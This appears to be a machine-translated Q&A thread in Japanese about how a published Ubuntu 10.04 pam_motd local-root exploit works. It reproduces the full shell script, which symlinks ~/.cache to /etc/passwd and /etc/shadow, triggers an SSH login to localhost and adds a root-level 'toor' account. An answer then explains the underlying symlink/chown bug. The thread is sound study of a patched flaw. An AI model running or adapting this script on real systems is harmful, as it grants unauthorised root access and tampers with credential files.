web-dev-qa-db-ja.com

このエクスプロイトは、ルート所有ファイルへの書き込みアクセスをどのように許可しましたか?

私の大学でコンピューターセキュリティを割り当てるには、ubuntu 10.04で機能するエクスプロイトを見つけて理解する必要があります。私はすでにUbuntu 10.04マシン(私が所有しているマシン)でそれを見つけてテストしました

これはエクスプロイトであり、ルートアクセスを許可する通常のユーザーとして実行されます。 Offensive Security Webサイトから取得。

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

ファイルをバックアップする理由と、後でsshで使用するキーを生成し、キャッシュファイル(スクリプトを実行しているユーザーが読み取りおよび書き込み権限を持つファイル)の間にソフトリンクを作成することを理解しています、所有権を取得するファイル。

私がしてはいけないを理解しているのは、echo "$P" >> /etc/passwdecho "$S" >> /etc/shadowがファイルキャッシュではなくこれらのファイルで作成されている理由です。これらのファイルとキャッシュファイルとの間のソフトリンクの目的は、それを書き込むことができなかったのですか?

$USERは、スクリプトのその時点で、シャドウとpasswdの両方に書き込む許可をどのように持っていますか?答えは明らかにローカルホストに対して行われたsshに関係していますが、なぜこのsshはこれらの許可を与えるのですか?

その後、何が起こるかわかります。両方のファイルが変更されると、ユーザーtoorにはroot権限が与えられ、suコマンドで呼び出されます。私の主な問題は、ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost trueを理解することです。これにより、シャドウとpasswdの両方で書き込み権限を取得できます。

7
user282724

これは pam_motdのバグ でした パッチが適用されてから長い間 out:

ubuntu 9.10上のPAMの1.1.0-2ubuntu1.1より前のlibpam-modulesおよびUbuntu 10.04 LTSのPAMの1.1.1-2ubuntu5より前のlibpam-modulesのpam_motd(別名MOTDモジュール)は、ローカルユーザーが任意のファイルの所有権を変更できるようにします「ユーザーファイルスタンプ」およびmotd.legal-noticeファイルに関連する、ユーザーのホームディレクトリの.cacheに対するシンボリックリンク攻撃を介して。

これは基本的に次のように変換されます。SSHでログインしている間、PAM(rootとして実行されている認証モジュール)はchown $USER: ~/.cacheを試みます。それが何であるかは見ていなかったので、所有権の変更はリンクされたファイルに伝播していました。

これにより、システムファイルを所有してから編集し、ルートレベルのアクセスを取得できました。

.cache/etc/{passwd,shadow}にシンボリックリンクされていましたが、.cacheにエコーされた可能性があります...その時点までに、これらのファイルのファイル所有権は$USERに変更されていました。これらは自由に編集できました。

あなたのコメントに答えて:

  • それはあなたに許可を与えるものではありません、それ(または私はそのPAMモジュールと言うべきです)は所有権を変えるものです。しかし、はい、PAMがそれを行ったことは問題でした。

  • ~/.cacheへのシンボリックリンクは、エクスプロイトの単なるリダイレクトです。 PAM(rootとして実行)にログインするときに、リンクされたファイルをchownしようとするために必要です。それはtheエクスプロイトです。

  • それは見落としでした 修正されました そのコードに入る前に特権を落とすことによって。

11
Oli